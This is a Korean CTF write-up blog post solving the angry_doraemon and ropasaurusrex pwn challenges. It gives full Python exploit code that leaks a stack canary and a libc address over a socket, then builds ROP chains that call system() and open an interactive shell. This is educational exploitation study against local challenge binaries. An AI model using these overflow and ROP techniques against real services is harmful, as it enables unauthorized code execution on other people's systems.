angry_doraemon_c927b1681064f78612ce78f6b93c14d9




환경 구축


문제를 풀기 위하여 최신 버전 Ubuntu 16.04 (libc.so.6)에 환경을 구축하였다.

아래와 같은 파일들(flag 제외)을 만들어 주어야 정상적으로 프로그램이 동작한다. 파일을 실행시키면 8888 포트로 서버가 동작하게 된다.





해당 문제 파일은 32bit로 리눅스 실행파일인 ELF파일이었다.





Canary와 NX 보호기법이 적용되어있다.






문제 풀이


IDA를 통해 바이너리를 살펴보니 해당 함수에 취약점이 존재하였다.



read() 함수에서 buf의 크기인 4byte 보다 더 큰 크기를  받아 오버플로우가 일어나게 된다.


이곳을 공략하면 된다.

우선 canary가 걸려있기 때문에 우회를 해주어야한다.

sockect 통신을 하고 fork()를 사용하여 동작하고 있기 때문에 canary 값은 고정이다.


따라서 25번 줄의 write() 함수를 이용하여 canary값을 leak 해주면 된다.




11byte 이상을 입력하게 되면 다음 NULL이 나올때까지의 값이 출력된다. 

canary의 마지막 값은 '0x00'일 것이므로 나머지 값을 구해주면 된다.




[ leak canary ]


from socket import *

from struct import *

from time import *


ip = '127.0.0.1'

port = 8888


p = lambda x : pack("<I", x)

up = lambda x : unpack("<I", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(2048)

print s.recv(2048)

s.send("4\n")

sleep(0.5)

print s.recv(1024)


# leak canary

s.send("y"*11)

sleep(0.5)

print (s.recv(4096)).encode("hex")




아스키코드 0x79가 'y'이므로 그 뒤의 3byte가 카나리 값일 것이다.

따라서 카나리 값은 0xe40e3d00이 된다(나온 값은 리틀엔디안이므로 바꿔줘야 함).






ROP(Return Oriented Programming) 를 통해 이 문제를 풀 수 있다.


1. write@plt를 사용하여 write함수의 got를 구한다.

2. system의 인자값을 쓰기 가능한 메모리 영역 bss에 복사 

3. write 함수의 got와 offset값을 이용해 system의 주소를 구한다.

4. system 함수 호출



다음은 ROP 공격을 위하여 필요한 값들을 구해주는 과정이다.

gdb로 파일을 실행하여 read_plt와 write_plt, write_got를 구할 수 있다.





objdump -h angry_doraemon 를 통해  bss의 주소를 구해준다.





objdump -d angry_doraemon | grep -A1 pop 를 통해 pppr(pop pop pop ret) 주소를 구해준다.





system 함수의 주소를 계산하기 위한 offset을 구해준다.

현재는 local에서 구동 중이므로 ldd 명령어를 사용하여 해당 libc를 찾을 수 있다.





libc 파일을 gdb로 연 뒤 write와 system 함수의 offset을 구해준다.




libc의 주소에서 일정 크기만큼 더해주면 write, system 함수가 나오게 된다.

현재 write, system 함수의 offset은 알고 있는 상태이다.

만약 write 주소를 알 수 있다면 write_addr - write_offset = libc_addr 을 구할 수 있고, system 함수 주소도 구할 수 있을 것이다.


그러므로 write_got를 leak을 통해 system 함수의 주소를 구해준다.

system_addr = write_addr - write_offset + system_offset



write 함수를 사용해 정확한 write 주소를 알아낼 수 있다.


[ leak write_addr ]


from socket import *

from struct import *

from time import *


ip = '127.0.0.1'

port = 8888


p = lambda x : pack("<I", x)

up = lambda x : unpack("<I", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(2048)

print s.recv(2048)

s.send("4\n")

sleep(0.5)

print s.recv(1024)


# leak write_got

canary = 0xe40e3d00

read_plt = 0x8048620

write_plt = 0x80486e0

write_got = 0x804b040

pppr = 0x8048ea6

bss = 0x804b080

offset = 0x9aef0 # write - system


payload = ''

payload += "y"*10

payload += p(canary)

payload += "A"*12


payload += p(write_plt)

payload += "AAAA"

payload += p(4)

payload += p(write_got)

payload += p(4)


print "\n[*] Send payload..."

s.send(payload)

sleep(0.5)

libc_addr = hex(up(s.recv(4)))

print "[*] libc_addr:" + libc_addr






이제 write의 주소를 구했으니, offset을 사용하여 system 함수의 주소를 계산해주면 된다.

read 함수를 사용해 system 함수의 인자값을 넣어준 뒤, system 함수를 실행해준다.


[ Exploit Code ]


from socket import *

from struct import *

from time import *


ip = '127.0.0.1'

port = 8888


p = lambda x : pack("<I", x)

up = lambda x : unpack("<I", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


print s.recv(2048)

print s.recv(2048)

s.send("4\n")

sleep(0.5)

print s.recv(1024)



# exploit

canary = 0xe40e3d00

read_plt = 0x8048620

write_plt = 0x80486e0

write_got = 0x804b040

pppr = 0x8048ea6

bss = 0x804b080

offset = 0x9aef0 # write - system

libc_addr = 0xf761ec70

cmd = "id>&4\00"

system_addr = libc_addr - offset


payload = ''

payload += "y"*10

payload += p(canary)

payload += "A"*12


payload += p(read_plt)

payload += p(pppr)

payload += p(4)

payload += p(bss)

payload += p(len(cmd))


payload += p(system_addr)

payload += "AAAA"

payload += p(bss)


print "[*] send payload..."

s.send(payload)

s.send(cmd)

sleep(0.5)


print s.recv(1024)






ropasaurusrex

(환경 : Ubuntu 16.04,  libc.so.6)




문제를 풀기 위해 xinetd를 사용하여 환경 세팅을 해주었다.







세팅을 완료한 후 원격으로 문제에 접속을 하였다.

특정한 값을 입력받으면 WIN을 돌려보내주는 프로그램인 것 같다.





해당 문제에는 NX(No Excutable) 보호기법이 적용되어있었다.





IDA를 통해 바이너리를 살펴보니  sub_80483F4() 라는 함수가 존재하였고, return을 통해 write()를 반환하고 있었다.





sub_80483F4() 함수를 살펴보았다. 



이곳에 취약점이 존재하는 것을 알 수 있다.

buf의 최대 크키가 136(88h)인데 read 함수를 통해 받는 값 크기는 256이다. 따라서 bof가 일어나게 된다.


A를 136개 입력했을 때는 'WIN'이 떴으나, 140개부터는 뜨지 않는 것을 통해 알 수 있다.






ROP를 통해 이 문제를 풀 수 있다.


1. system의 인자값("bin/sh")를 쓰기 가능한 메모리 영역(.dynamic, .data , .bss 등)에 복사

2. write@plt를 사용하여 read함수의 got를 구한다.

3. read함수의 got와 offset값을 이용해 system의 주소를 구한다.

4. read_got 값을 system 주소로 덮어버린다.

5. system 함수 호출



[ Exploit Code ]


from socket import *

from struct import *

from time import *

 

p = lambda x : pack("<I", x)

up = lambda x : unpack("<I", x)[0]

 

ip = '127.0.0.1'

port = 6666

 

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))

 

read_plt = 0x804832c

read_got = 0x804961c

write_plt = 0x804830c

offset = 0x99b00 # libc.so.6 read - system

binsh_addr = 0x8049530

pppr = 0x80484b6

 

cmd = "/bin/sh\x00"

 

payload = ''

payload += "A"*140 # buf 136 + sfp

 

# binsh_addr

payload += p(read_plt)

payload += p(pppr)

payload += p(0)

payload += p(binsh_addr)

payload += p(len(cmd))

 

# libc

payload += p(write_plt)

payload += p(pppr)

payload += p(1)

payload += p(read_got)

payload += p(4)

 

# read -> system

payload += p(read_plt)

payload += p(pppr)

payload += p(0)

payload += p(read_got)

payload += p(4)

 

#system

payload += p(read_plt)

payload += "AAAA"

payload += p(binsh_addr)

 

print "[*] send payload..."

s.send(payload + "\n")

s.send(cmd)

 

libc_offset = up(s.recv(4))

system_addr = libc_offset - offset

 

sleep(1)

s.send(p(system_addr))

 

# Get shell

while 1:

    input_string = raw_input('$ ')

    s.send(input_string + "\n")

    if input_string == 'exit':

       s.close()

       break

    print s.recv(1024)

 

'CTF > etc.' 카테고리의 다른 글

[Plaid CTF 2015] EBP  (0) 2018.04.19
[TJCTF 2016] oneshot  (0) 2018.02.13
[Defcon 26 quals 2016] feedme  (0) 2017.11.19
[QIWI CTF 2016] PWN 200_3  (0) 2016.12.06
[Defcon 25 quals 2015] r0pbaby  (0) 2016.11.10

+ Recent posts